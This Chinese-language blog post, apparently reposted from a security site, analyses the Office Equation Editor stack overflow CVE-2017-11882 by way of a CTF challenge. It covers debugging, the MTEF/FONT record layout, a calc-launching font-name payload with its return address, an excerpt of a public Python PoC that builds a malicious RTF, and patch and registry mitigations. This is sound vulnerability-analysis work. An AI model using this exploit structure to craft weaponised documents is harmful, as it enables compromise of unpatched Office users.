CVE-2017-11882 Office栈溢出漏洞分析
2019-11-04 10:24:45 Author: xz.aliyun.com(查看原文) 阅读量:200 收藏

本文从2019UNCTF里的一道有意思的逆向题目奇妙的RTF入手,对Office2017年的CVE-2017-11882进行调试分析,题目文件我放在附件中,需要的师傅可以下载学习,如果你完全不懂Office漏洞,这篇文章还是可以帮助你打开Office漏洞的面纱,首先我会讲一下身为一个完全不懂office的人如何做出这道题目的,然后在对漏洞的Poc本身进行分析,其原理十分简单,本文的调试环境是

  • Windows 7 x64 sp1
  • Office 2007 Professional

首先题目给我们一个压缩包,解压之后提示我们用Office打开,既然是2017年的,那肯定之前的版本都没有进行修复,所以这里选择安装office2007,然而我们打开什么也没发现

静态分析

对于一个不了解office结构的二进制选手,肯定想着先把他放进二进制编辑器中观察,显示如下,前面这些内容应该是office特有的格式

不懂office的话那怎么办呢?当然是百度呀,直接百度第一行的内容,下面就有显示相关的漏洞信息,所以我们初步确定漏洞编号CVE-2017-11882

这里用rtfobj工具查看office文件的各种属性,发现各种属性和百度搜索中的文字完全一样,再次确定漏洞编号CVE-2017-11882,工具下载地址 => 这里

通过阅读这篇文章,我们可以得到漏洞存在于EQNEDT21.EXE公式编辑器的sub_41160F函数中,我们将其拖进IDA,找到漏洞点,可以看到

伪代码如下,这里没有对长度进行检验就直接进行复制操作,而这个a1参数是我们可以控制的,所以本质上就可能产生一个栈溢出漏洞

动态分析

我们静态分析出了漏洞的编号,漏洞的位置,那么动态调试就比较方便了,从网上的各种文章来看,因为Poc都是有弹计算器的,所以它们都是直接在弹计算器函数或者创建线程的函数处下断点,然而这里并没有直接弹计算器,所以我们选择直接在漏洞函数下断点,我们直接用Windbg在程序启动时附加即可,因为是程序启动时附加,所以我们需要设置注册表:

接下来我们直接运行程序就会由Windbg接管,我们在IDA中找到漏洞函数的位置下断即可,这里我们直接在返回地址下断,也就是bp 0x411874,我们第一次运行发现这里并没有对返回地址进行覆盖

继续运行,这一次覆盖了返回地址,到了shellcode部分

继续单步进入ecx,发现一堆异或的操作

我们把异或在eax的结果记录下来

解码一下即可得到flag

动态分析

前面是解题过程,这次我们来分析一下具体的poc,首先我们从这里获得弹计算器的样本,我们这次在函数开始的地方下断点,观察参数

接着我们运行直到拷贝函数覆盖返回地址,这里直接被覆盖为调用计算器函数

静态分析

漏洞原理很简单,这里我们继续深入分析一下,我们同样用rtfobj来分析样本

上图这个命令会从RTF文件中提取所有对象,下图的命令可以查看dump出的bin文件的各种属性的信息

我们用二进制编辑器打开dump出来的bin文件,找到下面的片断,这里就是我们分析的关键点,也就是上图分析得到的 Equation Native 数据流

看不懂没关系,下面我们来分析一下结构, Equation Native 由几个成员组成

Equation Native = EQNOLEFILEHDR + MTEF Header + MTEF Byte Stream

其中 EQNOLEFILEHDR 头的结构为

大致也就是下面样子

struct EQNOLEFILEHDR {
  WORD    cCBHdr;     // 格式头长度,大小为0x1C
  DWORD   nVersion;   // 固定为0×00020000。
  WORD    nCf;        // 该公式对象的剪贴板格式
  DWORD   cbObject;   // MTEF数据的长度,不包括头部
  DWORD   nReserved1; // 未使用
  DWORD   nReserved2; // 未使用
  DWORD   nReserved3; // 未使用
  DWORD   nReserved4; // 未使用
};

其结构对应在二进制编辑器中就是下图红框的值

接下来就是 MTEF header 的结构,里面存放一些版本信息

Description Size (byte) Value Comment
MTEF Version 1 0x3 MTEFv3
Generating Platform 1 0x1 Windows
Generating Product 1 0x1 Equation Editor
Product Version 1 0x3
Product Subversion 1 0xa

其结构对应在二进制编辑器中就是下图红框的值

最后就是 MTEF Byte Stream 结构

value symbol description
0 END end of MTEF, pile, line, embellishment list, or template
1 LINE line (slot) record
2 CHAR character record
3 TMPL template record
4 PILE pile (vertical stack of lines) record
5 MATRIX matrix record
6 EMBELL character embellishment (e.g. hat, prime) record
7 RULER ruler (tab-stop location) record
8 FONT font name record
9 SIZE general size record
10 FULL full size record
11 SUB subscript size record
12 SUB2 sub-subscript size record
13 SYM symbol size record
14 SUBSYM sub-symbol size record

这里我们主要关注的是其中的 FONT 结构,也就是漏洞点,结构如下

Description Size (byte) Value Comment
Tag 1 0x8 0x8 denotes Font record
Typeface Number 1 0x5a
Style 1 0x5a
Font Name Variable, NULL terminated “cmd.exe /c calc.exe AAAAAAAAAAAAAAAAAAAAAAAA” + 0x00430c12 Overflow and overwrite return address

大致也就是下面样子

struct stuFontRecord {
  BYTE bTag;        // 字体文件的tag位0×08
  BYTE bTypeFace;   // 字体风格0x5a
  BYTE bStyle;      // 字体样式0x5a
  BYTE bFontName[n] // 字体名称,以NULL为结束符,漏洞点
};

其结构对应在二进制编辑器中就是下图红框的值

分析完结构,利用就很明显了,我们找到偏移之后只需要把最后返回地址修改为我们的shellcode地址即可,网上Poc大多数是用python实现的,例如Embedi师傅Poc的一些步骤:

# python实现对各个部件的构造
import argparse

RTF_HEADER = R"""{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}
{\*\generator Riched20 6.3.9600}\viewkind4\uc1
\pard\sa200\sl276\slmult1\f0\fs22\lang9"""

RTF_TRAILER = R"""\par}
"""

OBJECT_HEADER = R"""{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata """

OBJECT_TRAILER = R"""
}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260
0100090000039e00000002001c0000000000050000000902000000000500000002010100000005
0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002
1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000
0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000
0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000
002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100
000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a
0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300
00000000
}}}
"""
# 主要关注这里
OBJDATA_TEMPLATE = R"""
01050000020000000b0000004571756174696f6e2e33000000000000000000000c0000d0cf11e0a1
[...]
000000000000000000000000000000000000001c00000002009ec4a900000000000000c8a75c00c4
ee5b0000000000030101030a0a01085a5a4141414141414141414141414141414141414141414141
414141414141414141414141414141414141414141120c4300000000000000000000000000000000 => 覆盖点
00000000000000000000000000000000000000000000000000000000000000000000000000000000
[...]
7cef1800040000002d01010004000000f0010000030000000000
"""

[...]

从代码角度修复那就是在拷贝函数之前加上一个判断,判断字体名长度是否在合法区间内从而阻止溢出,从用户角度而言修复方案是比较简单的,有下面几个方法

  1. 直接在微软官网下载安装包:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882
  2. 开启自动更新,更新到最新版本
  3. 由于该公式编辑器已经17年未做更新,可能存在大量安全漏洞,建议在注册表中取消该模块的注册,按下Win+R组合键,打开cmd.exe,输入以下两条命令:

reg add “HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400

reg add “HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046} ” /v “Compatibility Flags” /t REG_DWORD /d 0x400

[+] 结构体参考:http://rtf2latex2e.sourceforge.net/MTEF3.html#Header

[+] Yanhui Jia师傅的分析文章:https://unit42.paloaltonetworks.com/unit42-analysis-of-cve-2017-11882-exploit-in-the-wild/

[+] 四维创智分析文章: https://www.freebuf.com/column/183551.html


文章来源: http://xz.aliyun.com/t/6668
如有侵权请联系:admin#unsafe.sh